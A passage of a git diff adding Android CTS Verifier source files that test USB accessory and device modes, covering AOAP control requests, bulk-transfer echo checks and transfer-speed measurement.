+        /**
+         * Run the code that might cause an exception.
+         */
+        void run() throws Throwable;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/AccessoryAttachmentHandler.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/AccessoryAttachmentHandler.java
new file mode 100644
index 0000000..f5e0fef
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/AccessoryAttachmentHandler.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.usb.accessory;
+
+import android.app.Activity;
+import android.hardware.usb.UsbAccessory;
+import android.hardware.usb.UsbManager;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+import java.util.ArrayList;
+
+/**
+ * Utility to receive callbacks when an USB accessory is attached.
+ */
+public class AccessoryAttachmentHandler extends Activity {
+    private static final ArrayList<AccessoryAttachmentObserver> sObservers = new ArrayList<>();
+
+    /**
+     * Register an observer to be called when an USB accessory connects.
+     *
+     * @param observer The observer that should be called when an USB accessory connects.
+     */
+    static void addObserver(@NonNull AccessoryAttachmentObserver observer) {
+        synchronized (sObservers) {
+            sObservers.add(observer);
+        }
+    }
+
+    /**
+     * Remove an observer that was added in {@link #addObserver}.
+     *
+     * @param observer The observer to remove
+     */
+    static void removeObserver(@NonNull AccessoryAttachmentObserver observer) {
+        synchronized (sObservers) {
+            sObservers.remove(observer);
+        }
+    }
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        UsbAccessory accessory = getIntent().getParcelableExtra(UsbManager.EXTRA_ACCESSORY);
+
+        synchronized (sObservers) {
+            ArrayList<AccessoryAttachmentObserver> observers =
+                    (ArrayList<AccessoryAttachmentObserver>) sObservers.clone();
+
+            for (AccessoryAttachmentObserver observer : observers) {
+                observer.onAttached(accessory);
+            }
+        }
+
+        finish();
+    }
+
+    /**
+     * Callback when an accessory is attached
+     */
+    interface AccessoryAttachmentObserver {
+        void onAttached(UsbAccessory accessory);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
new file mode 100644
index 0000000..0389584
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.usb.accessory;
+
+import static com.android.cts.verifier.usb.Util.runAndAssertException;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.hardware.usb.UsbAccessory;
+import android.hardware.usb.UsbManager;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.Log;
+import android.view.View;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.Arrays;
+import java.util.Random;
+
+/**
+ * Guide the user to run test for the USB accessory interface.
+ */
+public class UsbAccessoryTestActivity extends PassFailButtons.Activity implements
+        AccessoryAttachmentHandler.AccessoryAttachmentObserver {
+    private static final String LOG_TAG = UsbAccessoryTestActivity.class.getSimpleName();
+    private static final int MAX_BUFFER_SIZE = 16384;
+
+    private static final int TEST_DATA_SIZE_THRESHOLD = 100 * 1024 * 1024; // 100MB
+
+    private TextView mStatus;
+    private ProgressBar mProgress;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.usb_main);
+        setInfoResources(
+                R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
+
+        mStatus = (TextView) findViewById(R.id.status);
+        mProgress = (ProgressBar) findViewById(R.id.progress_bar);
+        mStatus.setText(R.string.usb_accessory_test_step1);
+        getPassButton().setEnabled(false);
+
+        AccessoryAttachmentHandler.addObserver(this);
+    }
+
+    @Override
+    public void onAttached(UsbAccessory accessory) {
+        mStatus.setText(R.string.usb_accessory_test_step2);
+        mProgress.setVisibility(View.VISIBLE);
+
+        AccessoryAttachmentHandler.removeObserver(this);
+
+        UsbManager usbManager = getSystemService(UsbManager.class);
+
+        (new AsyncTask<Void, Void, Throwable>() {
+            @Override
+            protected Throwable doInBackground(Void... params) {
+                try {
+                    assertEquals("Android device running CTS verifier", accessory.getDescription());
+                    assertEquals("Android", accessory.getManufacturer());
+                    assertEquals("Android device", accessory.getModel());
+                    assertEquals("0", accessory.getSerial());
+                    assertEquals("https://source.android.com/compatibility/cts/verifier.html",
+                            accessory.getUri());
+                    assertEquals("1", accessory.getVersion());
+
+                    assertTrue(Arrays.asList(usbManager.getAccessoryList()).contains(accessory));
+
+                    runAndAssertException(() -> usbManager.openAccessory(null),
+                            NullPointerException.class);
+
+                    ParcelFileDescriptor accessoryFd = usbManager.openAccessory(accessory);
+                    assertNotNull(accessoryFd);
+
+                    try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(
+                            accessoryFd)) {
+                        try (OutputStream os = new ParcelFileDescriptor.AutoCloseOutputStream(
+                                accessoryFd)) {
+                            byte[] origBuffer32 = new byte[32];
+                            (new Random()).nextBytes(origBuffer32);
+
+                            byte[] origBufferMax = new byte[MAX_BUFFER_SIZE];
+                            (new Random()).nextBytes(origBufferMax);
+
+                            byte[] bufferMax = new byte[MAX_BUFFER_SIZE];
+                            byte[] buffer32 = new byte[32];
+                            byte[] buffer16 = new byte[16];
+
+                            // Echo a transfer
+                            nextTest(is, os, "echo 32 bytes");
+
+                            os.write(origBuffer32);
+
+                            int numRead = is.read(buffer32);
+                            assertEquals(32, numRead);
+                            assertArrayEquals(origBuffer32, buffer32);
+
+                            // Receive less data than available
+                            nextTest(is, os, "echo 32 bytes");
+
+                            os.write(origBuffer32);
+
+                            numRead = is.read(buffer16);
+                            assertEquals(16, numRead);
+                            assertArrayEquals(Arrays.copyOf(origBuffer32, 16), buffer16);
+
+                            // If a transfer was only partially read, the rest of the transfer is
+                            // lost. We cannot read the second part, hence proceed to the next test.
+
+                            // Send two transfers in a row
+                            nextTest(is, os, "echo two 16 byte transfers as one");
+
+                            os.write(Arrays.copyOf(origBuffer32, 16));
+                            os.write(Arrays.copyOfRange(origBuffer32, 16, 32));
+
+                            numRead = is.read(buffer32);
+                            assertEquals(32, numRead);
+                            assertArrayEquals(origBuffer32, buffer32);
+
+                            // Receive two transfers in a row into a buffer that is bigger than the
+                            // transfer
+                            nextTest(is, os, "echo 32 bytes as two 16 byte transfers");
+
+                            os.write(origBuffer32);
+
+                            // Even though the buffer would hold 32 bytes the input stream will read
+                            // the transfers individually
+                            numRead = is.read(buffer32);
+                            assertEquals(16, numRead);
+                            assertArrayEquals(Arrays.copyOf(origBuffer32, 16),
+                                    Arrays.copyOf(buffer32, 16));
+
+                            numRead = is.read(buffer32);
+                            assertEquals(16, numRead);
+                            assertArrayEquals(Arrays.copyOfRange(origBuffer32, 16, 32),
+                                    Arrays.copyOf(buffer32, 16));
+
+                            // Echo a buffer with the maximum size
+                            nextTest(is, os, "echo max bytes");
+
+                            os.write(origBufferMax);
+
+                            numRead = is.read(bufferMax);
+                            assertEquals(MAX_BUFFER_SIZE, numRead);
+                            assertArrayEquals(origBufferMax, bufferMax);
+
+                            // Echo a buffer with twice the maximum size
+                            nextTest(is, os, "echo max*2 bytes");
+
+                            byte[] oversizeBuffer = new byte[MAX_BUFFER_SIZE * 2];
+                            System.arraycopy(origBufferMax, 0, oversizeBuffer, 0, MAX_BUFFER_SIZE);
+                            System.arraycopy(origBufferMax, 0, oversizeBuffer, MAX_BUFFER_SIZE,
+                                    MAX_BUFFER_SIZE);
+                            os.write(oversizeBuffer);
+
+                            // The other side can not write more than the maximum size at once,
+                            // hence we get two transfers in return
+                            numRead = is.read(bufferMax);
+                            assertEquals(MAX_BUFFER_SIZE, numRead);
+                            assertArrayEquals(origBufferMax, bufferMax);
+
+                            numRead = is.read(bufferMax);
+                            assertEquals(MAX_BUFFER_SIZE, numRead);
+                            assertArrayEquals(origBufferMax, bufferMax);
+
+                            nextTest(is, os, "measure out transfer speed");
+
+                            byte[] result = new byte[1];
+                            long bytesSent = 0;
+                            long timeStart = SystemClock.elapsedRealtime();
+                            while (bytesSent < TEST_DATA_SIZE_THRESHOLD) {
+                                os.write(origBufferMax);
+                                bytesSent += MAX_BUFFER_SIZE;
+                            }
+                            numRead = is.read(result);
+                            double speedKBPS = (bytesSent * 8 * 1000. / 1024.)
+                                    / (SystemClock.elapsedRealtime() - timeStart);
+                            assertEquals(1, numRead);
+                            assertEquals(1, result[0]);
+                            // We don't mandate min speed for now, let's collect data on what it is.
+                            getReportLog().setSummary(
+                                    "Output USB accesory transfer speed",
+                                    speedKBPS,
+                                    ResultType.HIGHER_BETTER,
+                                    ResultUnit.KBPS);
+                            Log.i(LOG_TAG, "Write data transfer speed is " + speedKBPS + "KBPS");
+
+                            nextTest(is, os, "measure in transfer speed");
+
+                            long bytesRead = 0;
+                            timeStart = SystemClock.elapsedRealtime();
+                            while (bytesRead < TEST_DATA_SIZE_THRESHOLD) {
+                                numRead = is.read(bufferMax);
+                                bytesRead += numRead;
+                            }
+                            numRead = is.read(result);
+                            speedKBPS = (bytesRead * 8 * 1000. / 1024.)
+                                    / (SystemClock.elapsedRealtime() - timeStart);
+                            assertEquals(1, numRead);
+                            assertEquals(1, result[0]);
+                            // We don't mandate min speed for now, let's collect data on what it is.
+                            getReportLog().setSummary(
+                                    "Input USB accesory transfer speed",
+                                    speedKBPS,
+                                    ResultType.HIGHER_BETTER,
+                                    ResultUnit.KBPS);
+                            Log.i(LOG_TAG, "Read data transfer speed is " + speedKBPS + "KBPS");
+
+                            nextTest(is, os, "done");
+                        }
+                    }
+
+                    accessoryFd.close();
+
+                    return null;
+                } catch (Throwable t) {
+                    return  t;
+                }
+            }
+
+            @Override
+            protected void onPostExecute(Throwable t) {
+                if (t == null) {
+                    setTestResultAndFinish(true);
+                } else {
+                    fail(null, t);
+                }
+            }
+        }).execute();
+    }
+
+    /**
+     * Signal to the companion device that we want to switch to the next test.
+     *
+     * @param is       The input stream from the companion device
+     * @param os       The output stream from the companion device
+     * @param testName The name of the new test
+     */
+    private boolean nextTest(@NonNull InputStream is, @NonNull OutputStream os,
+            @NonNull String testName) throws IOException {
+        Log.i(LOG_TAG, "Init new test " + testName);
+
+        ByteBuffer nameBuffer = Charset.forName("UTF-8").encode(CharBuffer.wrap(testName));
+        byte[] sizeBuffer = {(byte) nameBuffer.limit()};
+
+        os.write(sizeBuffer);
+        os.write(Arrays.copyOf(nameBuffer.array(), nameBuffer.limit()));
+
+        int ret = is.read();
+        if (ret <= 0) {
+            Log.i(LOG_TAG, "Last test failed " + ret);
+            return false;
+        }
+
+        os.write(0);
+
+        Log.i(LOG_TAG, "Running " + testName);
+
+        return true;
+    }
+
+    @Override
+    protected void onDestroy() {
+        AccessoryAttachmentHandler.removeObserver(this);
+
+        super.onDestroy();
+    }
+
+    /**
+     * Indicate that the test failed.
+     */
+    private void fail(@Nullable String s, @Nullable Throwable e) {
+        Log.e(LOG_TAG, s, e);
+        setTestResultAndFinish(false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/AoapInterface.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/AoapInterface.java
new file mode 100644
index 0000000..0d853d1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/AoapInterface.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package com.android.cts.verifier.usb.device;
+
+import android.hardware.usb.UsbConstants;
+import android.hardware.usb.UsbDevice;
+import android.hardware.usb.UsbDeviceConnection;
+import android.util.Log;
+
+class AoapInterface {
+    /**
+     * Use Google Vendor ID when in accessory mode
+     */
+    public static final int USB_ACCESSORY_VENDOR_ID = 0x18D1;
+
+    /**
+     * Product ID to use when in accessory mode
+     */
+    public static final int USB_ACCESSORY_PRODUCT_ID = 0x2D00;
+
+    /**
+     * Product ID to use when in accessory mode and adb is enabled
+     */
+    public static final int USB_ACCESSORY_ADB_PRODUCT_ID = 0x2D01;
+
+    /**
+     * Indexes for strings sent by the host via ACCESSORY_SEND_STRING
+     */
+    public static final int ACCESSORY_STRING_MANUFACTURER = 0;
+    public static final int ACCESSORY_STRING_MODEL = 1;
+    public static final int ACCESSORY_STRING_DESCRIPTION = 2;
+    public static final int ACCESSORY_STRING_VERSION = 3;
+    public static final int ACCESSORY_STRING_URI = 4;
+    public static final int ACCESSORY_STRING_SERIAL = 5;
+
+    /**
+     * Control request for retrieving device's protocol version
+     *
+     *  requestType:    USB_DIR_IN | USB_TYPE_VENDOR
+     *  request:        ACCESSORY_GET_PROTOCOL
+     *  value:          0
+     *  index:          0
+     *  data            version number (16 bits little endian)
+     *                     1 for original accessory support
+     *                     2 adds HID and device to host audio support
+     */
+    public static final int ACCESSORY_GET_PROTOCOL = 51;
+
+    /**
+     * Control request for host to send a string to the device
+     *
+     *  requestType:    USB_DIR_OUT | USB_TYPE_VENDOR
+     *  request:        ACCESSORY_SEND_STRING
+     *  value:          0
+     *  index:          string ID
+     *  data            zero terminated UTF8 string
+     *
+     *  The device can later retrieve these strings via the
+     *  ACCESSORY_GET_STRING_* ioctls
+     */
+    public static final int ACCESSORY_SEND_STRING = 52;
+
+    /**
+     * Control request for starting device in accessory mode.
+     * The host sends this after setting all its strings to the device.
+     *
+     *  requestType:    USB_DIR_OUT | USB_TYPE_VENDOR
+     *  request:        ACCESSORY_START
+     *  value:          0
+     *  index:          0
+     *  data            none
+     */
+    public static final int ACCESSORY_START = 53;
+
+    /**
+     * Max payload size for AOAP. Limited by driver.
+     */
+    public static final int MAX_PAYLOAD_SIZE = 16384;
+
+    private static final String TAG = AoapInterface.class.getSimpleName();
+
+    public static int getProtocol(UsbDeviceConnection conn) {
+        byte buffer[] = new byte[2];
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_IN | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_GET_PROTOCOL, 0, 0, buffer, 2, 10000);
+        if (len != 2) {
+            return -1;
+        }
+        return (buffer[1] << 8) | buffer[0];
+    }
+
+    public static void sendString(UsbDeviceConnection conn, int index, String string) {
+        byte[] buffer = (string + "\0").getBytes();
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_OUT | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_SEND_STRING, 0, index,
+                buffer, buffer.length, 10000);
+        if (len != buffer.length) {
+            throw new RuntimeException("Failed to send string " + index + ": \"" + string + "\"");
+        } else {
+            Log.i(TAG, "Sent string " + index + ": \"" + string + "\"");
+        }
+    }
+
+    public static void sendAoapStart(UsbDeviceConnection conn) {
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_OUT | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_START, 0, 0, null, 0, 10000);
+        if (len < 0) {
+            throw new RuntimeException("control transfer for accessory start failed:" + len);
+        }
+    }
+
+    public static boolean isDeviceInAoapMode(UsbDevice device) {
+        final int vid = device.getVendorId();
+        final int pid = device.getProductId();
+        return vid == USB_ACCESSORY_VENDOR_ID
+                && (pid == USB_ACCESSORY_PRODUCT_ID
+                        || pid == USB_ACCESSORY_ADB_PRODUCT_ID);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
new file mode 100644
index 0000000..604169a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -0,0 +1,2177 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.android.cts.verifier.usb.device;
+
+import static com.android.cts.verifier.usb.Util.runAndAssertException;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.usb.UsbConfiguration;
+import android.hardware.usb.UsbConstants;
+import android.hardware.usb.UsbDevice;
+import android.hardware.usb.UsbDeviceConnection;
+import android.hardware.usb.UsbEndpoint;
+import android.hardware.usb.UsbInterface;
+import android.hardware.usb.UsbManager;
+import android.hardware.usb.UsbRequest;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.Pair;
+import android.view.View;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import org.junit.AssumptionViolatedException;
+
+import java.nio.BufferOverflowException;
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Random;
+import java.util.Set;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class UsbDeviceTestActivity extends PassFailButtons.Activity {
+    private static final String ACTION_USB_PERMISSION =
+            "com.android.cts.verifier.usb.device.USB_PERMISSION";
+    private static final String LOG_TAG = UsbDeviceTestActivity.class.getSimpleName();
+    private static final int TIMEOUT_MILLIS = 5000;
+    private static final int MAX_BUFFER_SIZE = 16384;
+    private static final int OVERSIZED_BUFFER_SIZE = MAX_BUFFER_SIZE + 100;
+
+    private UsbManager mUsbManager;
+    private BroadcastReceiver mUsbDeviceConnectionReceiver;
+    private Thread mTestThread;
+    private TextView mStatus;
+    private ProgressBar mProgress;
+
+    /**
+     * Some N and older accessories do not send a zero sized package after a request that is a
+     * multiple of the maximum package size.
+     */
+    private boolean mDoesCompanionZeroTerminate;
+
+    private static long now() {
+        return System.nanoTime() / 1000000;
+    }
+
+    /**
+     * Check if we should expect a zero sized transfer after a certain sized transfer
+     *
+     * @param transferSize The size of the previous transfer
+     *
+     * @return {@code true} if a zero sized transfer is expected
+     */
+    private boolean isZeroTransferExpected(int transferSize) {
+        if (mDoesCompanionZeroTerminate) {
+            if (transferSize % 1024 == 0) {
+                if (transferSize % 8 != 0) {
+                    throw new IllegalArgumentException("As the transfer speed is unknown the code "
+                            + "has to work for all speeds");
+                }
+
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.usb_main);
+        setInfoResources(R.string.usb_device_test, R.string.usb_device_test_info, -1);
+
+        mStatus = (TextView) findViewById(R.id.status);
+        mProgress = (ProgressBar) findViewById(R.id.progress_bar);
+
+        mUsbManager = getSystemService(UsbManager.class);
+
+        getPassButton().setEnabled(false);
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_USB_PERMISSION);
+        filter.addAction(UsbManager.ACTION_USB_DEVICE_ATTACHED);
+
+        mStatus.setText(R.string.usb_device_test_step1);
+
+        mUsbDeviceConnectionReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (UsbDeviceTestActivity.this) {
+                    UsbDevice device = intent.getParcelableExtra(UsbManager.EXTRA_DEVICE);
+
+                    switch (intent.getAction()) {
+                        case UsbManager.ACTION_USB_DEVICE_ATTACHED:
+                            if (!AoapInterface.isDeviceInAoapMode(device)) {
+                                mStatus.setText(R.string.usb_device_test_step2);
+                            }
+
+                            mUsbManager.requestPermission(device,
+                                    PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
+                                            new Intent(ACTION_USB_PERMISSION), 0));
+                            break;
+                        case ACTION_USB_PERMISSION:
+                            boolean granted = intent.getBooleanExtra(
+                                    UsbManager.EXTRA_PERMISSION_GRANTED, false);
+
+                            if (granted) {
+                                if (!AoapInterface.isDeviceInAoapMode(device)) {
+                                    mStatus.setText(R.string.usb_device_test_step3);
+
+                                    UsbDeviceConnection connection = mUsbManager.openDevice(device);
+                                    try {
+                                        makeThisDeviceAnAccessory(connection);
+                                    } finally {
+                                        connection.close();
+                                    }
+                                } else {
+                                    mStatus.setText(R.string.usb_device_test_step4);
+                                    mProgress.setIndeterminate(true);
+                                    mProgress.setVisibility(View.VISIBLE);
+
+                                    unregisterReceiver(mUsbDeviceConnectionReceiver);
+                                    mUsbDeviceConnectionReceiver = null;
+
+                                    // Do not run test on main thread
+                                    mTestThread = new Thread() {
+                                        @Override
+                                        public void run() {
+                                            runTests(device);
+                                        }
+                                    };
+
+                                    mTestThread.start();
+                                }
+                            } else {
+                                fail("Permission to connect to " + device.getProductName()
+                                        + " not granted", null);
+                            }
+                            break;
+                    }
+                }
+            }
+        };
+
+        registerReceiver(mUsbDeviceConnectionReceiver, filter);
+    }
+
+    /**
+     * Indicate that the test failed.
+     */
+    private void fail(@Nullable String s, @Nullable Throwable e) {
+        Log.e(LOG_TAG, s, e);
+        setTestResultAndFinish(false);
+    }
+
+    /**
+     * Converts the device under test into an Android accessory. Accessories are USB hosts that are
+     * detected on the device side via {@link UsbManager#getAccessoryList()}.
+     *
+     * @param connection The connection to the USB device
+     */
+    private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
+                "Android");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
+                "Android device");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
+                "Android device running CTS verifier");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
+                "https://source.android.com/compatibility/cts/verifier.html");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
+        AoapInterface.sendAoapStart(connection);
+    }
+
+    /**
+     * Switch to next test.
+     *
+     * @param connection   Connection to the USB device
+     * @param in           The in endpoint
+     * @param out          The out endpoint
+     * @param nextTestName The name of the new test
+     */
+    private void nextTest(@NonNull UsbDeviceConnection connection, @NonNull UsbEndpoint in,
+            @NonNull UsbEndpoint out, @NonNull CharSequence nextTestName) {
+        Log.v(LOG_TAG, "Finishing previous test");
+
+        // Make sure name length is not a multiple of 8 to avoid zero-termination issues
+        StringBuilder safeNextTestName = new StringBuilder(nextTestName);
+        if (nextTestName.length() % 8 == 0) {
+            safeNextTestName.append(' ');
+        }
+
+        // Send name of next test
+        assertTrue(safeNextTestName.length() <= Byte.MAX_VALUE);
+        ByteBuffer nextTestNameBuffer = Charset.forName("UTF-8")
+                .encode(CharBuffer.wrap(safeNextTestName));
+        byte[] sizeBuffer = { (byte) nextTestNameBuffer.limit() };
+        int numSent = connection.bulkTransfer(out, sizeBuffer, 1, 0);
+        assertEquals(1, numSent);
+
+        numSent = connection.bulkTransfer(out, nextTestNameBuffer.array(),
+                nextTestNameBuffer.limit(), 0);
+        assertEquals(nextTestNameBuffer.limit(), numSent);
+
+        // Receive result of last test
+        byte[] lastTestResultBytes = new byte[1];
+        int numReceived = connection.bulkTransfer(in, lastTestResultBytes,
+                lastTestResultBytes.length, TIMEOUT_MILLIS);
+        assertEquals(1, numReceived);
+        assertEquals(1, lastTestResultBytes[0]);
+
+        // Send ready signal
+        sizeBuffer[0] = 42;
+        numSent = connection.bulkTransfer(out, sizeBuffer, 1, 0);
+        assertEquals(1, numSent);
+
+        Log.i(LOG_TAG, "Running test \"" + safeNextTestName + "\"");
+    }
+
+    /**
+     * Receive a transfer that has size zero using bulk-transfer.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     */
+    private void receiveZeroSizedTransfer(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in) {
+        byte[] buffer = new byte[1];
+        int numReceived = connection.bulkTransfer(in, buffer, 1, TIMEOUT_MILLIS);
+        assertEquals(0, numReceived);
+    }
+
+    /**
+     * Send some data and expect it to be echoed back.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     * @param out        The out endpoint
+     * @param size       The number of bytes to send
+     */
+    private void echoBulkTransfer(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out, int size) {
+        byte[] sentBuffer = new byte[size];
+        Random r = new Random();
+        r.nextBytes(sentBuffer);
+
+        int numSent = connection.bulkTransfer(out, sentBuffer, sentBuffer.length, 0);
+        assertEquals(size, numSent);
+
+        byte[] receivedBuffer = new byte[size];
+        int numReceived = connection.bulkTransfer(in, receivedBuffer, receivedBuffer.length,
+                TIMEOUT_MILLIS);
+        assertEquals(size, numReceived);
+
+        assertArrayEquals(sentBuffer, receivedBuffer);
+
+        if (isZeroTransferExpected(size)) {
+            receiveZeroSizedTransfer(connection, in);
+        }
+    }
+
+    /**
+     * Send some data and expect it to be echoed back (but have an offset in the send buffer).
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     * @param out        The out endpoint
+     * @param size       The number of bytes to send
+     */
+    private void echoBulkTransferOffset(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out, int offset, int size) {
+        byte[] sentBuffer = new byte[offset + size];
+        Random r = new Random();
+        r.nextBytes(sentBuffer);
+
+        int numSent = connection.bulkTransfer(out, sentBuffer, offset, size, 0);
+        assertEquals(size, numSent);
+
+        byte[] receivedBuffer = new byte[offset + size];
+        int numReceived = connection.bulkTransfer(in, receivedBuffer, offset, size, TIMEOUT_MILLIS);
+        assertEquals(size, numReceived);
+
+        for (int i = 0; i < offset + size; i++) {
+            if (i < offset) {
+                assertEquals(0, receivedBuffer[i]);
+            } else {
+                assertEquals(sentBuffer[i], receivedBuffer[i]);
+            }
+        }
+
+        if (isZeroTransferExpected(size)) {
+            receiveZeroSizedTransfer(connection, in);
+        }
+    }
+
+    /**
+     * Send a transfer that is larger than MAX_BUFFER_SIZE.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     * @param out        The out endpoint
+     */
+    private void echoOversizedBulkTransfer(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out) {
+        int totalSize = OVERSIZED_BUFFER_SIZE;
+        byte[] sentBuffer = new byte[totalSize];
+        Random r = new Random();
+        r.nextBytes(sentBuffer);
+
+        int numSent = connection.bulkTransfer(out, sentBuffer, sentBuffer.length, 0);
+
+        // Buffer will only be partially transferred
+        assertEquals(MAX_BUFFER_SIZE, numSent);
+
+        byte[] receivedBuffer = new byte[totalSize];
+        int numReceived = connection.bulkTransfer(in, receivedBuffer, receivedBuffer.length,
+                TIMEOUT_MILLIS);
+
+        // All beyond MAX_BUFFER_SIZE was not send, hence it will not be echoed back
+        assertEquals(MAX_BUFFER_SIZE, numReceived);
+
+        for (int i = 0; i < totalSize; i++) {
